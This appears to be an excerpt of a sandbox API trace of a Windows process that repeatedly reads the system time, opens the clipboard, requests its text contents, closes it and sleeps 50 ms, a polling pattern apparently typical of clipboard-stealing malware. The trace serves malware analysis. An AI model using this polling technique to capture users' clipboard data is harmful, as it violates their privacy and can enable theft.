[0265.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf91364d1, dwHighDateTime=0x1d96e12))
[0265.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.273] GetClipboardData (uFormat=0x1) returned 0x0
[0265.273] CloseClipboard () returned 1
[0265.273] Sleep (dwMilliseconds=0x32)
[0265.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf915c720, dwHighDateTime=0x1d96e12))
[0265.290] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.290] GetClipboardData (uFormat=0x1) returned 0x0
[0265.290] CloseClipboard () returned 1
[0265.290] Sleep (dwMilliseconds=0x32)
[0265.316] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9182975, dwHighDateTime=0x1d96e12))
[0265.316] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.316] GetClipboardData (uFormat=0x1) returned 0x0
[0265.316] CloseClipboard () returned 1
[0265.316] Sleep (dwMilliseconds=0x32)
[0265.326] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf91a8c16, dwHighDateTime=0x1d96e12))
[0265.326] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.326] GetClipboardData (uFormat=0x1) returned 0x0
[0265.326] CloseClipboard () returned 1
[0265.326] Sleep (dwMilliseconds=0x32)
[0265.338] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf91cee18, dwHighDateTime=0x1d96e12))
[0265.338] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.338] GetClipboardData (uFormat=0x1) returned 0x0
[0265.338] CloseClipboard () returned 1
[0265.339] Sleep (dwMilliseconds=0x32)
[0265.363] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf920376c, dwHighDateTime=0x1d96e12))
[0265.363] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.364] GetClipboardData (uFormat=0x1) returned 0x0
[0265.364] CloseClipboard () returned 1
[0265.364] Sleep (dwMilliseconds=0x32)
[0265.379] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf921b2e3, dwHighDateTime=0x1d96e12))
[0265.379] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.379] GetClipboardData (uFormat=0x1) returned 0x0
[0265.379] CloseClipboard () returned 1
[0265.379] Sleep (dwMilliseconds=0x32)
[0265.388] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9241561, dwHighDateTime=0x1d96e12))
[0265.388] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.388] GetClipboardData (uFormat=0x1) returned 0x0
[0265.388] CloseClipboard () returned 1
[0265.388] Sleep (dwMilliseconds=0x32)
[0265.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf92677c9, dwHighDateTime=0x1d96e12))
[0265.399] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.399] GetClipboardData (uFormat=0x1) returned 0x0
[0265.399] CloseClipboard () returned 1
[0265.399] Sleep (dwMilliseconds=0x32)
[0265.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf928da36, dwHighDateTime=0x1d96e12))
[0265.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.415] GetClipboardData (uFormat=0x1) returned 0x0
[0265.415] CloseClipboard () returned 1
[0265.415] Sleep (dwMilliseconds=0x32)
[0265.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf92b3c2d, dwHighDateTime=0x1d96e12))
[0265.433] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.433] GetClipboardData (uFormat=0x1) returned 0x0
[0265.433] CloseClipboard () returned 1
[0265.433] Sleep (dwMilliseconds=0x32)
[0265.445] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf92d9eed, dwHighDateTime=0x1d96e12))
[0265.445] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.445] GetClipboardData (uFormat=0x1) returned 0x0
[0265.445] CloseClipboard () returned 1
[0265.445] Sleep (dwMilliseconds=0x32)
[0265.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf93000f1, dwHighDateTime=0x1d96e12))
[0265.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.461] GetClipboardData (uFormat=0x1) returned 0x0
[0265.461] CloseClipboard () returned 1
[0265.461] Sleep (dwMilliseconds=0x32)
[0265.478] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf93263a6, dwHighDateTime=0x1d96e12))
[0265.478] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.478] GetClipboardData (uFormat=0x1) returned 0x0
[0265.478] CloseClipboard () returned 1
[0265.478] Sleep (dwMilliseconds=0x32)
[0265.492] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf934c5df, dwHighDateTime=0x1d96e12))
[0265.492] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.492] GetClipboardData (uFormat=0x1) returned 0x0
[0265.492] CloseClipboard () returned 1
[0265.492] Sleep (dwMilliseconds=0x32)
[0265.537] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9398a6b, dwHighDateTime=0x1d96e12))
[0265.537] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.537] GetClipboardData (uFormat=0x1) returned 0x0
[0265.537] CloseClipboard () returned 1
[0265.537] Sleep (dwMilliseconds=0x32)
[0265.539] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf93beccf, dwHighDateTime=0x1d96e12))
[0265.539] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.539] GetClipboardData (uFormat=0x1) returned 0x0
[0265.539] CloseClipboard () returned 1
[0265.539] Sleep (dwMilliseconds=0x32)
[0265.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf93e4f32, dwHighDateTime=0x1d96e12))
[0265.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.554] GetClipboardData (uFormat=0x1) returned 0x0
[0265.554] CloseClipboard () returned 1
[0265.555] Sleep (dwMilliseconds=0x32)
[0265.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf940b161, dwHighDateTime=0x1d96e12))
[0265.571] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.571] GetClipboardData (uFormat=0x1) returned 0x0
[0265.571] CloseClipboard () returned 1
[0265.571] Sleep (dwMilliseconds=0x32)
[0265.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf943141d, dwHighDateTime=0x1d96e12))
[0265.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.586] GetClipboardData (uFormat=0x1) returned 0x0
[0265.586] CloseClipboard () returned 1
[0265.586] Sleep (dwMilliseconds=0x32)
[0265.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf94575fa, dwHighDateTime=0x1d96e12))
[0265.602] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.602] GetClipboardData (uFormat=0x1) returned 0x0
[0265.602] CloseClipboard () returned 1
[0265.602] Sleep (dwMilliseconds=0x32)
[0265.617] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf947d8b3, dwHighDateTime=0x1d96e12))
[0265.617] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.617] GetClipboardData (uFormat=0x1) returned 0x0
[0265.617] CloseClipboard () returned 1
[0265.617] Sleep (dwMilliseconds=0x32)
[0265.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf94a3af9, dwHighDateTime=0x1d96e12))
[0265.633] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.633] GetClipboardData (uFormat=0x1) returned 0x0
[0265.633] CloseClipboard () returned 1
[0265.633] Sleep (dwMilliseconds=0x32)
[0265.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf94c9cdf, dwHighDateTime=0x1d96e12))
[0265.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.648] GetClipboardData (uFormat=0x1) returned 0x0
[0265.648] CloseClipboard () returned 1
[0265.649] Sleep (dwMilliseconds=0x32)
[0265.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf94eff8c, dwHighDateTime=0x1d96e12))
[0265.679] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.679] GetClipboardData (uFormat=0x1) returned 0x0
[0265.679] CloseClipboard () returned 1
[0265.679] Sleep (dwMilliseconds=0x32)
[0265.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf953c44f, dwHighDateTime=0x1d96e12))
[0265.696] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.697] GetClipboardData (uFormat=0x1) returned 0x0
[0265.697] CloseClipboard () returned 1
[0265.697] Sleep (dwMilliseconds=0x32)
[0265.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf956269d, dwHighDateTime=0x1d96e12))
[0265.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.711] GetClipboardData (uFormat=0x1) returned 0x0
[0265.711] CloseClipboard () returned 1
[0265.711] Sleep (dwMilliseconds=0x32)
[0265.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf95888f9, dwHighDateTime=0x1d96e12))
[0265.727] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.727] GetClipboardData (uFormat=0x1) returned 0x0
[0265.727] CloseClipboard () returned 1
[0265.727] Sleep (dwMilliseconds=0x32)
[0265.742] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf95aeccf, dwHighDateTime=0x1d96e12))
[0265.742] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.742] GetClipboardData (uFormat=0x1) returned 0x0
[0265.742] CloseClipboard () returned 1
[0265.742] Sleep (dwMilliseconds=0x32)
[0265.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf95d4dae, dwHighDateTime=0x1d96e12))
[0265.758] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.758] GetClipboardData (uFormat=0x1) returned 0x0
[0265.758] CloseClipboard () returned 1
[0265.758] Sleep (dwMilliseconds=0x32)
[0265.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf95fb003, dwHighDateTime=0x1d96e12))
[0265.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.773] GetClipboardData (uFormat=0x1) returned 0x0
[0265.773] CloseClipboard () returned 1
[0265.774] Sleep (dwMilliseconds=0x32)
[0265.791] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9621265, dwHighDateTime=0x1d96e12))
[0265.791] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.791] GetClipboardData (uFormat=0x1) returned 0x0
[0265.791] CloseClipboard () returned 1
[0265.791] Sleep (dwMilliseconds=0x32)
[0265.805] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf96474dd, dwHighDateTime=0x1d96e12))
[0265.805] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.805] GetClipboardData (uFormat=0x1) returned 0x0
[0265.805] CloseClipboard () returned 1
[0265.805] Sleep (dwMilliseconds=0x32)
[0265.826] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf966d703, dwHighDateTime=0x1d96e12))
[0265.826] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.829] GetClipboardData (uFormat=0x1) returned 0x0
[0265.838] CloseClipboard () returned 1
[0265.838] Sleep (dwMilliseconds=0x32)
[0265.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf96b9bc7, dwHighDateTime=0x1d96e12))
[0265.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.851] GetClipboardData (uFormat=0x1) returned 0x0
[0265.851] CloseClipboard () returned 1
[0265.852] Sleep (dwMilliseconds=0x32)
[0265.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf96dfe2a, dwHighDateTime=0x1d96e12))
[0265.868] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.869] GetClipboardData (uFormat=0x1) returned 0x0
[0265.869] CloseClipboard () returned 1
[0265.869] Sleep (dwMilliseconds=0x32)
[0265.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf970607a, dwHighDateTime=0x1d96e12))
[0265.883] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.883] GetClipboardData (uFormat=0x1) returned 0x0
[0265.883] CloseClipboard () returned 1
[0265.883] Sleep (dwMilliseconds=0x32)
[0265.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf972c2cb, dwHighDateTime=0x1d96e12))
[0265.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.899] GetClipboardData (uFormat=0x1) returned 0x0
[0265.899] CloseClipboard () returned 1
[0265.899] Sleep (dwMilliseconds=0x32)
[0265.914] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9752711, dwHighDateTime=0x1d96e12))
[0265.914] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.914] GetClipboardData (uFormat=0x1) returned 0x0
[0265.914] CloseClipboard () returned 1
[0265.914] Sleep (dwMilliseconds=0x32)
[0265.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9778786, dwHighDateTime=0x1d96e12))
[0265.929] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.929] GetClipboardData (uFormat=0x1) returned 0x0
[0265.930] CloseClipboard () returned 1
[0265.930] Sleep (dwMilliseconds=0x32)
[0265.945] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf979e9cd, dwHighDateTime=0x1d96e12))
[0265.945] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.945] GetClipboardData (uFormat=0x1) returned 0x0
[0265.945] CloseClipboard () returned 1
[0265.945] Sleep (dwMilliseconds=0x32)
[0265.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf97c4c1a, dwHighDateTime=0x1d96e12))
[0265.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.961] GetClipboardData (uFormat=0x1) returned 0x0
[0265.961] CloseClipboard () returned 1
[0265.961] Sleep (dwMilliseconds=0x32)
[0265.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf97eaeae, dwHighDateTime=0x1d96e12))
[0265.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.976] GetClipboardData (uFormat=0x1) returned 0x0
[0265.976] CloseClipboard () returned 1
[0265.976] Sleep (dwMilliseconds=0x32)
[0265.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf98111f3, dwHighDateTime=0x1d96e12))
[0265.992] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.993] GetClipboardData (uFormat=0x1) returned 0x0
[0265.993] CloseClipboard () returned 1
[0265.993] Sleep (dwMilliseconds=0x32)
[0266.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf983735b, dwHighDateTime=0x1d96e12))
[0266.007] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.007] GetClipboardData (uFormat=0x1) returned 0x0
[0266.008] CloseClipboard () returned 1
[0266.008] Sleep (dwMilliseconds=0x32)
[0266.027] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf985d561, dwHighDateTime=0x1d96e12))
[0266.027] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.027] GetClipboardData (uFormat=0x1) returned 0x0
[0266.027] CloseClipboard () returned 1
[0266.027] Sleep (dwMilliseconds=0x32)
[0266.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf988380e, dwHighDateTime=0x1d96e12))
[0266.039] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.039] GetClipboardData (uFormat=0x1) returned 0x0
[0266.039] CloseClipboard () returned 1
[0266.039] Sleep (dwMilliseconds=0x32)
[0266.055] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf98a9a7a, dwHighDateTime=0x1d96e12))
[0266.055] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.055] GetClipboardData (uFormat=0x1) returned 0x0
[0266.055] CloseClipboard () returned 1
[0266.055] Sleep (dwMilliseconds=0x32)
[0266.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf98cfcac, dwHighDateTime=0x1d96e12))
[0266.071] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.071] GetClipboardData (uFormat=0x1) returned 0x0
[0266.071] CloseClipboard () returned 1
[0266.071] Sleep (dwMilliseconds=0x32)
[0266.087] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf98f5f52, dwHighDateTime=0x1d96e12))
[0266.087] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.087] GetClipboardData (uFormat=0x1) returned 0x0
[0266.087] CloseClipboard () returned 1
[0266.087] Sleep (dwMilliseconds=0x32)
[0266.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf991c179, dwHighDateTime=0x1d96e12))
[0266.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.101] GetClipboardData (uFormat=0x1) returned 0x0
[0266.101] CloseClipboard () returned 1
[0266.101] Sleep (dwMilliseconds=0x32)
[0266.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf99423cc, dwHighDateTime=0x1d96e12))
[0266.118] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.118] GetClipboardData (uFormat=0x1) returned 0x0
[0266.118] CloseClipboard () returned 1
[0266.118] Sleep (dwMilliseconds=0x32)
[0266.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9968625, dwHighDateTime=0x1d96e12))
[0266.132] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.132] GetClipboardData (uFormat=0x1) returned 0x0
[0266.133] CloseClipboard () returned 1
[0266.133] Sleep (dwMilliseconds=0x32)
[0266.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf998e87d, dwHighDateTime=0x1d96e12))
[0266.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.148] GetClipboardData (uFormat=0x1) returned 0x0
[0266.148] CloseClipboard () returned 1
[0266.148] Sleep (dwMilliseconds=0x32)
[0266.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf99b4ad6, dwHighDateTime=0x1d96e12))
[0266.165] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.165] GetClipboardData (uFormat=0x1) returned 0x0
[0266.165] CloseClipboard () returned 1
[0266.165] Sleep (dwMilliseconds=0x32)
[0266.180] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf99dad34, dwHighDateTime=0x1d96e12))
[0266.180] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.180] GetClipboardData (uFormat=0x1) returned 0x0
[0266.180] CloseClipboard () returned 1
[0266.180] Sleep (dwMilliseconds=0x32)
[0266.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9a00f84, dwHighDateTime=0x1d96e12))
[0266.196] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.196] GetClipboardData (uFormat=0x1) returned 0x0
[0266.196] CloseClipboard () returned 1
[0266.196] Sleep (dwMilliseconds=0x32)
[0266.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9a271e3, dwHighDateTime=0x1d96e12))
[0266.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.211] GetClipboardData (uFormat=0x1) returned 0x0
[0266.211] CloseClipboard () returned 1
[0266.211] Sleep (dwMilliseconds=0x32)
[0266.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9a4d43a, dwHighDateTime=0x1d96e12))
[0266.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.226] GetClipboardData (uFormat=0x1) returned 0x0
[0266.226] CloseClipboard () returned 1
[0266.226] Sleep (dwMilliseconds=0x32)
[0266.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9a73693, dwHighDateTime=0x1d96e12))
[0266.243] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.243] GetClipboardData (uFormat=0x1) returned 0x0
[0266.243] CloseClipboard () returned 1
[0266.243] Sleep (dwMilliseconds=0x32)
[0266.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9a998e7, dwHighDateTime=0x1d96e12))
[0266.257] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.258] GetClipboardData (uFormat=0x1) returned 0x0
[0266.258] CloseClipboard () returned 1
[0266.258] Sleep (dwMilliseconds=0x32)
[0266.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9abfb5d, dwHighDateTime=0x1d96e12))
[0266.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.273] GetClipboardData (uFormat=0x1) returned 0x0
[0266.273] CloseClipboard () returned 1
[0266.273] Sleep (dwMilliseconds=0x32)
[0266.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9ae5da0, dwHighDateTime=0x1d96e12))
[0266.290] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.290] GetClipboardData (uFormat=0x1) returned 0x0
[0266.290] CloseClipboard () returned 1
[0266.290] Sleep (dwMilliseconds=0x32)
[0266.314] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9b0bff7, dwHighDateTime=0x1d96e12))
[0266.314] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.314] GetClipboardData (uFormat=0x1) returned 0x0
[0266.315] CloseClipboard () returned 1
[0266.315] Sleep (dwMilliseconds=0x32)
[0266.320] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9b3225f, dwHighDateTime=0x1d96e12))
[0266.320] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.320] GetClipboardData (uFormat=0x1) returned 0x0
[0266.320] CloseClipboard () returned 1
[0266.320] Sleep (dwMilliseconds=0x32)
[0266.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9b584b2, dwHighDateTime=0x1d96e12))
[0266.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.336] GetClipboardData (uFormat=0x1) returned 0x0
[0266.336] CloseClipboard () returned 1
[0266.336] Sleep (dwMilliseconds=0x32)
[0266.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9b7e70c, dwHighDateTime=0x1d96e12))
[0266.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.351] GetClipboardData (uFormat=0x1) returned 0x0
[0266.351] CloseClipboard () returned 1
[0266.351] Sleep (dwMilliseconds=0x32)
[0266.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9ba4960, dwHighDateTime=0x1d96e12))
[0266.368] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.368] GetClipboardData (uFormat=0x1) returned 0x0
[0266.368] CloseClipboard () returned 1
[0266.368] Sleep (dwMilliseconds=0x32)
[0266.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9bcabb8, dwHighDateTime=0x1d96e12))
[0266.382] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.383] GetClipboardData (uFormat=0x1) returned 0x0
[0266.383] CloseClipboard () returned 1
[0266.383] Sleep (dwMilliseconds=0x32)
[0266.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9bf0e0f, dwHighDateTime=0x1d96e12))
[0266.398] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.398] GetClipboardData (uFormat=0x1) returned 0x0
[0266.398] CloseClipboard () returned 1
[0266.398] Sleep (dwMilliseconds=0x32)
[0266.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9c17076, dwHighDateTime=0x1d96e12))
